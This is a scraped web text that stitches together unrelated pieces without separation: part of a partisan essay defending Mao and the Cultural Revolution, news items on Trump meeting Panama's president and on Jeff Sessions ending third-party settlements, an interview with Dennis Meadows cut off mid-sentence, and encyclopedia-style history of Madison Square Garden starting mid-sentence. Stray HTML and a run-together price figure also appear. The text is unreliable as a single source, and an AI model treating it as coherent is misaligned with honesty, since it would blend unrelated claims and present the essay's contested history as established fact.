Now Mao was not responsible for this. It was built into the fabric of Chinese life and into the fabric of the Chinese Communist Party and into all of Chinese politics by the existence of classes—especially the emerging new classes, workers and capitalists—and by the existing economy at its stage of development. The Communist Party, confronted by these contradictions, had developed into two main streams—one an open party governing the liberated areas with Mao Zedong as the primary leader, and the other an underground party growing up primarily in Guomindang dominated cities where Liu Shaoqi was responsible, under the overall leadership of Mao. The party stream under Mao developed into a proletarian headquarters and the stream that Liu led became the core of a bourgeois headquarters all within the overall umbrella of the party itself. That does not mean that everyone on either side was either proletarian or bourgeois. There were many degrees of mixture and admixture.
But the two headquarters, with their contrasting class character, developed out of this history and these circumstances and out of the isolation of the two streams from each other.
The Shanghai bourgeoisie, through the student movement of the 1930s and ’40s contributed heavily to Liu’s forces. After Deng’s reforms began, whenever anyone reached a high post, people always asked, Which branch of the Shanghai Youth league did he or she belong to? The big reform leaders that Deng Xiaoping brought forward, first Hu Yaobang, and then Zhao Ziyang, were both products of the Shanghai Youth League. Of course, there were many Maoists among the league members and there were workers and left-wing intellectuals who identified with the working class in the underground branches of the party. But under Liu’s guidance a bourgeois headquarters emerged nevertheless.
After victory, after the liberation of China in l949, the two streams of the party merged as one organizationally, but they never did merge ideologically. Meanwhile the bourgeois stream received constant reinforcement from the degeneration of once-dedicated cadre under the bombardment of silver bullets that greeted them on assuming office at all levels, silver bullets being the perks and privileges that society or independent capitalists could offer a man or woman in power. Successive rectification movements stemmed this seepage but could not close it off entirely, nor was it easy to screen closet opportunists from among the new recruits to a party suddenly empowered and in a position to allocate the wealth of by far the largest mass of laboring people the world has ever seen.
Mao’s proletarian stream, in order to serve the long-term interests of the workers and peasants, had to struggle for a socialist future and the eventual elimination of class exploitation. That Mao truly had the future interests of the common people in mind in struggling for this goal is demonstrated by the crisis and stagnation now pervading large parts of rural China. This is leading to the proletarianization of scores of millions of peasants chronically underemployed on the ubiquitous noodle strips of soil allocated to them by the family responsibility system.
In sharp contrast, representatives of the bourgeoisie in the party, in order to save a future role for themselves, and to save China as a sphere of operation for the bourgeoisie as a class, had to struggle for, at the very least, a prolonged period of mixed economy with an ever widening role for private entrepreneurs leading to a capitalist future. To weight the dice in this direction Deng’s government redeemed scores of millions of dollars worth of bonds once issued to China’s independent entrepreneurs to compensate for government expropriations, bonds on which interest had been paid for ten years prior to their cancellation in l966. Bond redemptions began around 1980.
Can Mao be blamed for the struggle, this split over policy? No. This struggle was built in and inevitable. Initiatives arising on either side had to be challenged and defeated or at least stalemated by the other side. The contest was bitter, protracted, and hard-fought. Tragedies and casualties on both sides were many. Extreme friction between the two class factions contributed hugely to policy failures. No policy, from either side, could be applied without contest.
From the bourgeois side the bitterness was rooted in an inexorable truth: in the long run, just as the peasants of old China could get along without the landlords, but the landlords could not get along without the peasants who labored; the workers and peasants of revolutionary China could get along without the bourgeoisie, but the bourgeoisie could not get along without the labor of workers and peasants and the surplus value they created. I am not talking here about intellectuals. The working class can win support from and train intellectuals devoted to socialism just as the bourgeoisie can win support from and train intellectuals devoted to capitalism.
To blame Mao, then, for the struggle that ensued and for its outcome is unwarranted, unrealistic, and unhistorical. Mao did what needed to be done given his social base, while Liu did what he had to do given his social base. After a decade of conflict things came to a head in the Cultural Revolution. Mao won some victories early on, but, unfortunately could not consolidate them under the hammer blows of the Liu-Deng counteroffensive reinforced, as it was, by the dead weight, inertia, and tenacity of all the old customs, old habits, old beliefs, and superstitions that made any and all change difficult, not to mention such radical changes as socialist relations of production and a matching socialist superstructure demanded. Mao had the upper hand politically. He was able to speak directly to and mobilize hundreds of millions of peasants and workers. But Liu had the upper hand organizationally because his group, his stream coming from the underground controlled, by virtue of its existing network in l949, the organization of the party nationwide and had the power to appoint, remove, promote, and educate the middle level of cadre throughout the whole country. At the heart of Liu’s educational program lay his tract How To Be A Good Communist. This advocated self-cultivation that would, when conducted according to his directives, enable one not to serve the people better, but to be an obedient tool, and thus win promotion to ever-higher positions in the party. These philistine minions, their careers dependent on Liu, were the shock force of the bourgeoisie in the party, and there was a consistent pattern to the way they operated. In every new situation, when Mao was proposing a socialist solution, they first dragged their feet and tried to slow down the change or disrupt it. At one time, for instance, they dissolved 30,000 village farming cooperatives in one stroke. But when any movement reached a high tide and couldn’t be stopped by foot dragging, then they jumped in, active as could be, and pushed things to extremes that were equally if not more disruptive. From Liu’s headquarters there came always, consistently, in stage after stage of the revolution, a move, a shift from rightist obstruction to leftist destruction. Whether conscious or not this was the pattern. It showed up during land reform as illustrated in my book Fanshen (University of California Press, 1997). It showed up with a vengeance during the anti-rightist movement of 1958. After the shocking events in Hungary in the late 1950s, Mao suggested that there might be as many as 4,000 rightist reactionaries among the intellectuals and academics of China. Deng Xiaoping, later the key figure in China, took charge of handling the rightist problem then and did tremendous damage by targeting 500,000!
The same right-left swing plagued the Socialist Education Movement in 1964. Cadres at the bottom suddenly found themselves under wholesale attack from Liu’s headquarters. In just one county alone, Xiyang in central Shanxi, 40 village level leaders committed suicide. Before that a similar swing showed up during the Great Leap after the bourgeois forces failed to head it off. The way they responded was to push extremes such as blowing the Communist Wind, a wind of political excesses that included a gale of gigantism. If a township was good as a single production unit, then a whole county was even better. It included a hurricane of blind directives—if digging one foot deep is good for the soil, digging three feet deep is better. It included an exaggeration wind—if you harvested 100 bushels to the acre, then I harvested 200 bushels to the acre. And a leveling and transferring wind—if you have a tractor that the commune needs send it over, it’s all for the common good. At the height of the euphoria generated by the great crop in the making in 1958, all these winds blew and fanned up severe disruption that coupled with very bad weather in 1959, ’60, and ’61, to produce a shortage of crops, hunger, and even starvation. Mao’s initiatives failed temporarily but they were well conceived.
The inspiration for the Great Leap, the commune form of cooperative federation and the industrial projects such as backyard iron smelting came from the very successful wartime industrial cooperative movement—Indusco. After suitable retrenchment and reorganization China successfully revived much of the original vision. There is a good description of this background for the cooperatives and the commune movement in Jack Gray’s book, Rebellions and Revolutions: China from the 1800s to the 1980s (Oxford University Press, 1990). During the Cultural Revolution similar extremes arose. After Mao called for power seizures from below, everybody, and especially the capitalist roaders, formed factional support groups to seize power. Unprincipled and often violent free-for-alls ensued which no one, neither Mao nor Liu, could control. And thus the Cultural Revolution, after generating a tremendous storm, wound down without consolidating its goals. However, the movement as a whole was a great creative departure in history. It was not a plot, not a purge, but a mass mobilization whereby people were inspired to intervene, to screen and supervise their cadres and form new popular committees to exercise control at the grassroots and higher.
The whole idea, that the principal contradiction of the times was the class struggle between the working class and the capitalist class, expressed itself in the party center, and unless it was resolved in the interest of the working class the socialist revolution would founder. And the whole idea that the method must be to mobilize the common people to seize power from below in order to establish new representative leading bodies, democratically elected organs of power was a breakthrough in history summed up by the phrase bombard the headquarters. They constituted, in my opinion, Mao’s greatest contribution to revolutionary theory and practice, lighting the way to progress in our time. Had Mao succeeded, I think there is no doubt we would have today a burgeoning socialist economy and culture in China with enormous prestige among the people. The economic advance might be slower than the current one but it would be much more solid and much more useful as a development model for all third world peoples now living in abysmal poverty and exploitation. Where Mao was particularly prescient was in his exposure of the capitalist road tendency and in making the target of the Cultural Revolution party people in authority taking the capitalist road.
Today, after 20 years of Deng’s reforms we can clearly see which way China is going and what the result will be. Surely Mao’s diagnosis still stands. Mao’s diagnosis for the whole of China’s revolution was that the capitalist road was not open to the people of China. In a world dominated by powerful imperialists and multinational corporations with enormous strength and global reach, any third world country taking the capitalist road is taking a road that leads to neocolonization. Today, with capitalist methods, one can’t build an independent, self-reliant economy and country, but only a subsidiary economy and country at the mercy of these huge multinational corporations at the top of the heap that set the rules and rule the roost. The Deng (now Zhang) regime is, in essence, already a comprador regime, ready to sell out to the highest bidder China’s most precious land, material, and human resources. For immediate gain the current power holders will do anything, sacrifice any principal, invite in any investors, give away huge chunks of the domestic market, sell any and all resources including long-term use rights to the most valuable urban land, not to mention advertising space on the walls of the Yangtze Gorges, which could stand as a symbol of the whole paradigm. Recently around Beijing a big speculative boom in housing surfaced and some of the best cropland in north China was diverted to build estates for wealthy people. The prices of these houses under construction—they aren’t called houses, actually, they’re called villas—ran from 450,0001,500,000 U.S. dollars. So far as I know, few if any of them were sold to anyone who wanted to live in one. In the meantime, speculators from Hong Kong and other parts for the Chinese diaspora in Southeast Asia bought a few hoping to make a bundle by selling them again before the whole scam collapsed.
Will China’s economy emerge from this transition period independent, self-regulating, and responsible to the people of China, or will it succumb to international market pressures, surrender one initiative after another and end up in a passive neocolonial position rocked by huge financial storms over which China has no control? I think the latter is a serious danger and should be confronted now by those responsible for China’s future. Unfortunately, I see no sign that anyone who is in a position to do something about it takes the problem seriously. Corruption reaches right to the top of the government and everybody is too busy trying to get rich quick to worry about the long-term result. Thus, I think Mao’s original prediction, that in a world dominated by powerful imperialist states no capitalist road is open to China, will turn out to be as true today as it was when he formulated it in the 1920s. More and more people from all walks of life will come to appreciate and honor Mao’s life work, his struggle for national liberation and his struggle for socialism. My main point, that severe class struggle was built into the modern, post-liberation history of China, so that no person, no group, no party, and no faction had a free hand to apply socialist policy, and that the tragedies and casualties on all sides resulted from the friction at the interface between new domestic classes as they struggled for hegemony over society, above all inside the Communist Party, will also, I think, stand the test of time.poster="http://v.politico.com/images/1155968404/201706/1558/1155968404_5476523911001_5476486322001-vs.jpg?pubId=1155968404" true President Donald Trump described the relationship between the U.S. and Panama as “very strong.” He met with Panama President Juan Carlos Varela on Monday. Trump: ‘Panama Canal is doing quite well’
President Donald Trump asserted on Monday that the Panama Canal, which opened in 1914, is “doing quite well” and that the U.S. “did a good job building it.”
Trump made the comment in the Oval Office, where he was sitting for a brief media availability alongside Juan Carlos Varela, the president of Panama who is in Washington for a visit.
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“It's our great honor to have President and Mrs. Varela from Panama,” Trump told reporters. “We have many things to discuss. We're going to spend quite a bit of time today. The Panama Canal is doing quite well, I think we did a good job building it.”
“Right?” Trump said, turning to Varela. “Very good job.”
The Panama Canal, which connects the Atlantic and Pacific Oceans, was constructed by the U.S. from 1904 to 1914, after the French stopped its work on the project.
On Monday, Trump described the relationship between the U.S. and Panama as “very strong.”
“We are developing new things to do and only getting stronger,” Trump said. “And also, friendship with the president is very, very good.”The Justice Department announced Wednesday it will no longer allow prosecutors to strike settlement agreements with big companies directing them to make payouts to outside groups, ending an Obama-era practice that Republicans decried as a “slush fund” that padded the accounts of liberal interest groups.
In a memo sent to 94 U.S. attorneys' offices early Wednesday, Attorney General Jeff Sessions said he would end the practice that allowed companies to meet settlement burdens by giving money to groups that were neither victims nor parties to the case.
Sessions said the money should, instead, go to the Treasury Department or victims.
“When the federal government settles a case against a corporate wrongdoer, any settlement funds should go first to the victims and then to the American people—not to bankroll third-party special interest groups or the political friends of whoever is in power,” Sessions said in a statement.
Conservatives have long fought the policy introduced under the Obama administration. Earlier this year, Republican lawmakers introduced legislation that would prohibit the Department of Justice from requiring defendants to donate money to outside groups, after concerns that the settlements bypass congressional appropriations processes.
“This bill is oversight and action. Congress must not tolerate Justice Department political appointees using settlements to funnel money to their liberal friends,” Chairman of the House Judiciary Committee Bob Goodlatte, R-Va., who introduced the bill, said in a statement. “This is also an institutional issue. Once direct victims have been compensated, deciding what to do with additional funds recovered from defendants becomes a policy question properly decided by elected representatives in Congress, not agency bureaucrats or prosecutors.”
Paul Larkin, a senior legal research fellow at The Federalist Society, described the practice as “improper and unlawful.” He also said the practices were barred by the Appropriations Clause, Antideficiency Act, and the Miscellaneous Receipts Act.
“No private lawyer could give away a client’s settlement money, and no government lawyer may do so either. It is time for this unlawful practice to end,” Larkin wrote in 2016.
“No private lawyer could give away a client’s settlement money, and no government lawyer may do so either. It is time for this unlawful practice to end.” — Paul Larkin, The Federalist Society
Officials told Fox News the third-party settlement changes were an issue of "good governance."
“Unfortunately, in recent years the Department of Justice has sometimes requires or encouraged defendants to make these payments to third parties as a condition of settlement,” Sessions added. “With this directive, we are ending this practice and ensuring that settlement funds are only used to compensate victims, redress harm, and punish and deter unlawful conduct.”
Bank of America, for example, was required to pay nonprofit organizations as part of a record $17 billion settlement to resolve an investigation into its role in the sale of mortgage-backed securities before the 2008 financial crisis. The agreement was struck under then-Attorney General Eric Holder’s Justice Department.
The receiving groups included organizations that provide housing counseling, foreclosure prevention and community redevelopment assistance.
Gibson Guitar Corp. also had to contribute to the National Fish and Wildlife Foundation to resolve a criminal investigation into allegations it illegally imported exotic wood.
It's hard to say what kind of cases could be impacted by the change and how. The new policy allows only for restitution to victims or payment that "directly remedies the harm that is sought to be addressed."
U.S. Chamber of Commerce Institute for Legal Reform President Lisa A. Rickard commended Sessions' decision for directing DOJ officials to "seek justice" in a manner "consistent with public interest," adding: "Not how much money they can generate for outside interest groups unconnected with the underlying enforcement action."
Chairman of House Judiciary Committee Chuck Grassley, R-Iowa, also applauded the move.
"Since 2010, I've been working to shine a light on these misdeeds and to get answers from the Department," Grassley said. "Today's announcement is welcomed news for those of us who respect the rule of law and demand a more accountable government."
Fox News' Jake Gibson and Brooke Singman and The Associated Press contributed to this report.3/6/2012 FORMAT interviews Dennis Meadows, author of “The Limits to Growth”, about the shocking position of the planet. 40 years ago, Dennis Meadows presented the best seller “The Limits to Growth”. In it, he predicted, not the exact date of the apocalypse, but the U.S. researchers showed by means of computational models, that by mid-century, the resources of planet Earth will be depleted. The book sold 30 million copies and Meadows is now regarded as the most famous “Sunset prophet” of the world. FORMAT’s writer Rainer Himmelfreundpointner met Meadows on a visit to Vienna for an exclusive interview. The message of the nearly 70-year-old is now no more optimistic as then, and is not for the faint of heart. FORMAT: Mr. Meadows, according to the Club of Rome, we are currently facing a crisis of unemployment, a food crisis, a global financial and economic crisis and a global ecological crisis. Each of these is a warning sign that something is quite wrong. What exactly? Meadows: What we meant in 1972 in “The Limits to Growth”, and what is still true, is that there is simply no endless physical growth on a finite planet. Past a certain point, growth ceases. Either we stop it … by changing our behaviour, or the planet will stop it. 40 years later, we regret to say, we basically have not done anything. FORMAT: In your 13 scenarios the end of physical growth begins – that is, the increase in world population, its food production, or whatever else they produce or consume – between 2010 and 2050. Is the financial crisis part of that? Meadows: You cannot compare our current situation that way. Suppose you have cancer, and this cancer causes fever, headaches and other pain. But those are not the real problem, the cancer is. However, we try to treat the symptoms. No one believes that cancer is being defeated. Phenomena like climate change and hunger are merely the symptoms of a disease of our earth, which leads inevitably to the end of growth. FORMAT: cancer as a metaphor for uncontrolled growth? Meadows: Yeah. Healthy cells at a certain point stop growing. Cancer cells proliferate until they kill the organism. Population or economic growth behave exactly the same. There are only two ways to reduce the growth of humanity: reduction in the birth rate or increase the death rate. Which would you prefer? FORMAT: No one wants to have to decide. Meadows: I don’t either. We have lost the opportunity of choice anyway. Our planet will do it. FORMAT: How? Meadows: Let’s stay on diet. Do the mathematics, take food per person since the 90s. The production is growing, but the population is growing faster. Behind every calorie of food that comes to the plate, ten calories of fossil fuels or oil are used for its production, transportation, storage, preparation and disposal. The less oil reserves and fossil fuels, the more the increase in food prices. FORMAT: So it’s not just a distribution problem? Meadows: Of course not. If we share it equitably, nobody would starve. But the fact is, it needs fossil fuels such as oil, gas or coal for food production. But those supplies are running low. Whether or not new shale oil and gas reserves are exploited, peak oil and peak gas are past. This means tremendous pressure on the entire system. FORMAT: According to your models the population, which in 2050 will be around 9.5 billion people, even with a stagnation of food production for another 30, 40 years. Meadows: And that means that there will be a lot of very poor people. Considerably more than half of humanity. Today we can not feed a large portion of humanity sufficiently. All the resources that we know of are declining. One can only guess where this will lead. There are too many “ifs” for the future: If people are smarter, if there is no war, if we make a technological advancement. We are now already at the point where we cannot cope with our problems, how we should do it in 50 years, when they are bigger? FORMAT: And blame is our way of doing business? Meadows: Our economic and financial system, we do not just get something. It is a tool that we have developed and that reflects our goals and values. People do not worry about the future, but only about their current problems. That is why we have such a serious debt crisis. Debt is the opposite of that, worrying about the future. Anyone who takes on debt says: I do not care what happens. And when for many people the future does not matter, they will create an economic and financial system that destroys the future. You can tweak this system as long as
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,500, the largest restaurant in the city and a roof garden cabaret.[9] The building cost $3 million.[9] Madison Square Garden II was unsuccessful like the first Garden,[11] and the New York Life Insurance Company, which held the mortgage on it, decided to tear it down in 1925 to make way for a new headquarters building, which would become the landmark Cass Gilbert-designed New York Life Building.
A third Madison Square Garden opened in a new location, on 8th Avenue between 49th and 50th Streets, from 1925 to 1968. Groundbreaking on the third Madison Square Garden took place on January 9, 1925.[12] Designed by the noted theater architect Thomas W. Lamb, it was built at the cost of $4.75 million in 249 days by boxing promoter Tex Rickard;[9] the arena was dubbed "The House That Tex Built."[13] The arena was 200 feet (61 m) by 375 feet (114 m), with seating on three levels, and a maximum capacity of 18,496 spectators for boxing.[9]
Demolition commenced in 1968 after the opening of the current Garden,[14] and was completed in early 1969. The site is now the location of One Worldwide Plaza.
Current Garden [ edit ]
A basketball game at Madison Square Garden circa 1968
In 1959, Graham-Paige purchased a controlling interest in the Madison Square Garden.[15] In November 1960, Graham-Paige president Irving Mitchell Felt purchased from the Pennsylvania Railroad the rights to build at Penn Station.[16] To build the new facility, the above-ground portions of the original Pennsylvania Station were torn down.
The new structure was one of the first of its kind to be built above the platforms of an active railroad station. It was an engineering feat constructed by Robert E. McKee of El Paso, Texas. Public outcry over the demolition of the Pennsylvania Station structure—an outstanding example of Beaux-Arts architecture—led to the creation of the New York City Landmarks Preservation Commission. The venue opened on February 11, 1968.
In 1972, Felt proposed moving the Knicks and Rangers to a then incomplete venue in the New Jersey Meadowlands, the Meadowlands Sports Complex. The Garden was also the home arena for the NY Raiders/NY Golden Blades of the World Hockey Association. The Meadowlands would eventually host its own NBA and NHL teams, the New Jersey Nets and the New Jersey Devils, respectively. The New York Giants and Jets of the National Football League (NFL) also relocated there. In 1977, the arena was sold to Gulf and Western Industries. Felt's efforts fueled controversy between the Garden and New York City over real estate taxes. The disagreement again flared in 1980 when the Garden again challenged its tax bill. The arena, since the 1980s, has since enjoyed tax-free status, under the condition that all Knicks and Rangers home games must be hosted at MSG, lest it lose this exemption.[17]
Garden owners spent $200 million in 1991 to renovate facilities and add 89 suites in place of hundreds of upper-tier seats. The project was designed by Ellerbe Becket. In 2004–2005, Cablevision battled with the City of New York over the proposed West Side Stadium, which was cancelled. Cablevision then announced plans to raze the Garden, replace it with high-rise commercial buildings, and build a new Garden one block away at the site of the James Farley Post Office. Meanwhile, a new project to renovate and modernize the Garden completed phase one in time for the Rangers and Knicks' 2011–12 seasons,[18] though the vice president of the Garden says he remains committed to the installation of an extension of Penn Station at the Farley Post Office site. While the Knicks and Rangers were not displaced, the New York Liberty played at the Prudential Center in Newark, New Jersey during the renovation.
Madison Square Garden is the last of the NBA and NHL arenas to not be named after a corporate sponsor.[19]
Joe Louis Plaza [ edit ]
In 1984, the four streets immediately surrounding the Garden were designated as Joe Louis Plaza, in honor of boxer Joe Louis, who made eight successful title defenses in the previous Madison Square Garden.[20][21]
2011–2013 renovation [ edit ]
Madison Square Garden's upper bowl concourse, seen in January 2014 during a Rangers game
Madison Square Garden's $1 billion second renovation took place mainly over three offseasons. It was set to begin after the 2009–10 hockey/basketball seasons, but was delayed until after the 2010–11 seasons. Renovation was done in phases with the majority of the work done in the summer months to minimize disruptions to the NHL and NBA seasons. While the Rangers and Knicks were not displaced,[22][23] the Liberty played their home games through the 2013 season at Prudential Center in Newark, New Jersey, during the renovation.[24][25]
New features include a larger entrance with interactive kiosks, retail, climate-controlled space, and broadcast studio; larger concourses; new lighting and LED video systems with HDTV; new seating; two new pedestrian walkways suspended from the ceiling to allow fans to look directly down onto the games being played below; more dining options; and improved dressing rooms, locker rooms, green rooms, upgraded roof, and production offices. The lower bowl concourse, called the Madison Concourse, remains on the 6th floor. The upper bowl concourse was relocated to the 8th floor and it is known as the Garden Concourse. The 7th floor houses the new Madison Suites and the Madison Club. The upper bowl was built on top of these suites. The rebuilt concourses are wider than their predecessors, and include large windows that offer views of the city streets around the Garden.[26]
Construction of the lower bowl (Phase 1) was completed for the 2011–2012 NHL season and the 2011–12 NBA lockout shortened season. An extended off-season for the Garden permitted some advanced work to begin on the new upper bowl, which was completed in time for the 2012–2013 NBA season and the 2012–13 NHL lockout-shortened NHL season. This advance work included the West Balcony on the 10th floor, taking the place of sky-boxes, and new end-ice 300 level seating. The construction of the upper bowl along with the Madison Suites and the Madison Club (Phase 2) were completed for the 2012–2013 NHL and NBA seasons. The construction of the new lobby known as Chase Square, along with the Chase Bridges and the new scoreboard (Phase 3) were completed for the 2013–2014 NHL and NBA seasons.
Penn Station renovation controversy [ edit ]
Madison Square Garden is seen as an obstacle in the renovation and future expansion of Penn Station, which is already expanding through the James Farley Post Office, and some have proposed moving MSG to other sites in western Manhattan. On February 15, 2013, Manhattan Community Board 5 voted 36–0 against granting a renewal to MSG's operating permit in perpetuity and proposed a 10-year limit instead in order to build a new Penn Station where the arena is currently standing. Manhattan borough president Scott Stringer said, "Moving the arena is an important first step to improving Penn Station." The Madison Square Garden Company responded by saying that "[i]t is incongruous to think that M.S.G. would be considering moving."[27]
In May 2013, four architecture firms – SHoP Architects, SOM, H3 Hardy Collaboration Architecture, and Diller Scofidio + Renfro – submitted proposals for a new Penn Station. SHoP Architects recommended moving Madison Square Garden to the Morgan Postal Facility a few blocks southwest, as well as removing 2 Penn Plaza and redeveloping other towers, and an extension of the High Line to Penn Station.[28] Meanwhile, SOM proposed moving Madison Square Garden to the area just south of the James Farley Post Office, and redeveloping the area above Penn Station as a mixed-use development with commercial, residential, and recreational space.[28] H3 Hardy Collaboration Architecture wanted to move the arena to a new pier west of Jacob K. Javits Convention Center, four blocks west of the current station/arena. Then, according to H3's plan, four skyscrapers at each of the four corners of the new Penn Station superblock, with a roof garden on top of the station; the Farley Post Office would become an education center.[28] Finally, Diller Scofidio + Renfro proposed a mixed-use development on the site, with spas, theaters, a cascading park, a pool, and restaurants; Madison Square Garden would be moved two blocks west, next to the post office. DS+F also proposed high-tech features in the station, such as train arrival and departure boards on the floor, and apps that would inform waiting passengers of ways to occupy their time until they board their trains.[28] Madison Square Garden rejected the notion that it would be relocated, and called the plans "pie-in-the-sky".[28]
In June 2013, the New York City Council Committee on Land Use voted unanimously to give the Garden a ten-year permit, at the end of which period the owners will either have to relocate, or go back through the permission process.[29] On July 24, the City Council voted to give the Garden a 10-year operating permit by a vote of 47 to 1. "This is the first step in finding a new home for Madison Square Garden and building a new Penn Station that is as great as New York and suitable for the 21st century", said City Council speaker Christine Quinn. "This is an opportunity to reimagine and redevelop Penn Station as a world-class transportation destination."[30]
In October 2014, the Morgan facility was selected as the ideal area for Madison Square Garden to be moved, following the 2014 MAS Summit in New York City. More plans for the station were discussed.[31][32] Then, in January 2016, New York Governor Andrew Cuomo announced a redevelopment plan for Penn Station that would involve the removal of The Theater at Madison Square Garden, but would otherwise leave the arena intact.[33][34]
Events [ edit ]
Regular events [ edit ]
Sports [ edit ]
Madison Square Garden hosts approximately 320 events a year. It is the home to the New York Rangers of the National Hockey League, and the New York Knicks of the National Basketball Association. The New York Rangers, New York Knicks, and the Madison Square Garden arena itself are all owned by the Madison Square Garden Company. The arena is also host to the Big East Men's Basketball Tournament and the finals of the National Invitation Tournament. It also hosts selected home games for the St. John's men's Red Storm (college basketball), and almost any other kind of indoor activity that draws large audiences, such as the Westminster Kennel Club Dog Show and the 2004 Republican National Convention.
The Garden was home of the NBA Draft and NIT Season Tip-Off, as well as the former New York City home of the Ringling Brothers and Barnum and Bailey Circus and Disney on Ice; all four events are now held at the Barclays Center in Brooklyn. It served the New York Cosmos for half of their home games during the 1983–84 NASL Indoor season.[35]
Many of boxing's biggest fights were held at Madison Square Garden, including the Roberto Durán–Ken Buchanan affair, and the first Muhammad Ali – Joe Frazier bout. Before promoters such as Don King and Bob Arum moved boxing to Las Vegas, Nevada Madison Square Garden was considered the mecca of boxing. The original 18 1⁄ 2 ft × 18 1⁄ 2 ft (5.6 m × 5.6 m) ring, which was brought from the second and third generation of the Garden, was officially retired on September 19, 2007, and donated to the International Boxing Hall of Fame after 82 years of service. A 20 ft × 20 ft (6.1 m × 6.1 m) ring replaced it beginning on October 6 of that same year.
Pro wrestling [ edit ]
Madison Square Garden has been considered the mecca for professional wrestling and the home of World Wrestling Entertainment (formerly WWF and WWWF).[36] The Garden has hosted three WrestleManias, more than any other arena, including the first edition of the annual marquee event for WWE, as well as the 10th and 20th editions.
In 1985, the Garden hosted the inaugural WrestleMania presented by the World Wrestling Federation. In 1988 it hosted the WWF's inaugural SummerSlam PPV.
New Japan Pro-Wrestling and Ring of Honor will host their G1 Supercard at the venue on April 6, 2019 which sold out in 19 minutes after the tickets went on sale.[37]
Concerts [ edit ]
The Madison Square Garden marquee, as it appeared in August 2011
The Seventh Avenue entrance to MSG as it appeared in 2011
Madison Square Garden hosts more high-profile concert events than any other venue in New York City. It has been the venue for George Harrison's The Concert for Bangladesh, The Concert for New York City following the September 11 attacks, John Lennon's final concert appearance (during an Elton John concert on Thanksgiving Night, 1974) before his murder in 1980, and Elvis Presley, who gave four sold out performances in 1972, his first and last ever in New York City. Parliament-Funkadelic headlined numerous sold out shows in 1977 and 1978. Kiss did four shows at the arena in 1977 (February 18's debut and December 14–16's three night return in the same year) and another return in 1979 (two nights, July 24–25). Led Zeppelin's three night stand in July 1973 was recorded and released as both a film and album titled The Song Remains The Same. The Police played their final show of their reunion tour at the Garden in 2008.
At one point, Elton John held the all-time record for greatest number of appearances at the Garden with 64 shows. In a 2009 press release, John was quoted as saying "Madison Square Garden is my favorite venue in the whole world. I chose to have my 60th birthday concert there, because of all the incredible memories I've had playing the venue."[38] Billy Joel, who broke the record, stated "Madison Square Garden is the center of the universe as far as I'm concerned. It has the best acoustics, the best audiences, the best reputation, and the best history of great artists who have played there. It is the iconic, holy temple of rock and roll for most touring acts and, being a New Yorker, it holds a special significance to me."[38]
Grateful Dead have performed in the venue 53 times from 1979 to 1994 with the first show being held on September 7, 1979 and the last being on October 19, 1994. Their longest run being done in September 1991.[39]
Madonna performed at this venue a total of 31 concerts, the first two being during her 1985 Virgin Tour, on June 10 and 11, and the most recent being the two-nights stay during her Rebel Heart Tour on September 16 and 17, 2015.
Taylor Swift made history when tickets for the Madison Square Gardens stop of her Fearless Tour sold out in only one minute.[40]
Bruce Springsteen has performed 47 concerts at this venue, many with the E Street Band, including a 10-night string of sold-out concerts out between 12 June and 1 July 2000 at the end of the E Street Reunion tour.
U2 performed at the arena 28 times: the first one was on April 1, 1985 during their Unforgettable Fire Tour, in front of a crowd of 19,000 people. The second and the third were on September 28 and 29, 1987 during their Joshua Tree Tour, in front of 39,510 people. The fourth was on March 20, 1992 during their Zoo TV Tour, in front of a crowd of 18,179 people. The fifth, sixth, seventh, eighth and ninth was on June 17 and 19 and October 24, 25 and 27, 2001 during their Elevation Tour, in front of 91,787 people. The 10th, the 11th, the 12th, the 13th, the 14th, the 15th, the 16th and the 17th were on May 21, October 7, 8, 10, 11 and 14 and November 21 and 22, 2005 during their Vertigo Tour, in front of a total sold out crowd of 149,004 people. The band performed eight performances at the arena in 2015 on July 18, 19, 22, 23, 26, 27, 30 and 31, 2015 as part of their Innocence + Experience Tour, and three performances in 2018 on June 25, 26 and July 1 as part of their Experience + Innocence Tour.
The Who have headlined at the venue 30 times, including a four night stand in 1974, a five night stand in 1979, a six night stand in 1996, and four night stands in 2000 and 2002. They also performed at The Concert for New York City in 2001.[41]
In the summer of 2017, Phish performed 13 consecutive concerts at the venue, which the Garden commemorated by adding a Phish themed banner to the rafters.[42] The "Bakers' Dozen" brought the total number of Phish shows at MSG to 52. An additional 8 shows (4 for their 2017 New Year's Eve run, and 4 more for their 2018 New Year's Eve run) brings their total to 60.[43]
On 28 and 29 June 2019, Hugh Jackman will perform during his The Man. The Music. The Show. Tour.
Other events [ edit ]
It has previously hosted the 1976 Democratic National Convention, 1980 Democratic National Convention, 1992 Democratic National Convention, and the 2004 Republican National Convention, and hosted the NFL Draft for many years (now held at Garden-leased Radio City Music Hall). From 1982 to 1990, the Church of God in Christ in New York under the leadership of Bishop F.D. Washington used Madison Square Garden for its Annual Holy Convocation.[citation needed]
The New York Police Academy, Baruch College/CUNY and Yeshiva University also hold their annual graduation ceremonies at Madison Square Garden. It hosted the Grammy Awards in 1972, 1997, 2003 and 2018 (which are normally held in Los Angeles) as well as the Latin Grammy Awards of 2006.
The group and Best in Show competitions of the Westminster Kennel Club Dog Show are held every February for two days at MSG.
Notable firsts and significant events [ edit ]
The Garden hosted the Stanley Cup Finals and NBA Finals simultaneously on two occasions: in 1972 and 1994.
MSG has hosted the following All-Star Games:
UFC held its first event in New York State, UFC 205, at Madison Square Garden on November 12, 2016. This was the first event the organization held after New York State lifted the ban on mixed martial arts.
Seating [ edit ]
Seating in Madison Square Garden was initially arranged in six ascending levels, each with its own color. The first level, which was available only for basketball games, boxing and concerts, and not for hockey games and ice shows, was known as the "Rotunda" ("ringside" for boxing and "courtside" for basketball), had beige seats, and bore section numbers of 29 and lower (the lowest number varying with the different venues, in some cases with the very lowest sections denoted by letters rather than numbers). Next above this was the "Orchestra" (red) seating, sections 31 through 97, followed by the 100-level "First Promenade" (orange) and 200-level "Second Promenade"(yellow), the 300-level (green) "First Balcony", and the 400-level (blue) "Second Balcony." The rainbow-colored seats were replaced with fuchsia and teal seats[44] during the 1990s renovation (in part because the blue seats had acquired an unsavory reputation, especially during games in which the New York Rangers hosted their cross-town rivals, the New York Islanders) which installed the 10th floor sky-boxes around the entire arena and the 9th floor sky-boxes on the 7th avenue end of the arena, taking out 400-level seating on the 7th Avenue end in the process.
Madison Square Garden's basketball court set for a St. John's College basketball game in 2005
Because all of the seats, except the 400 level, were in one monolithic grandstand, horizontal distance from the arena floor was significant from the ends of the arena. Also, the rows rose much more gradually than other North American arenas, which caused impaired sight lines, especially when sitting behind tall spectators or one of the concourses. This arrangement, however, created an advantage over newer arenas in that seats had a significantly lower vertical distance from the arena floor.
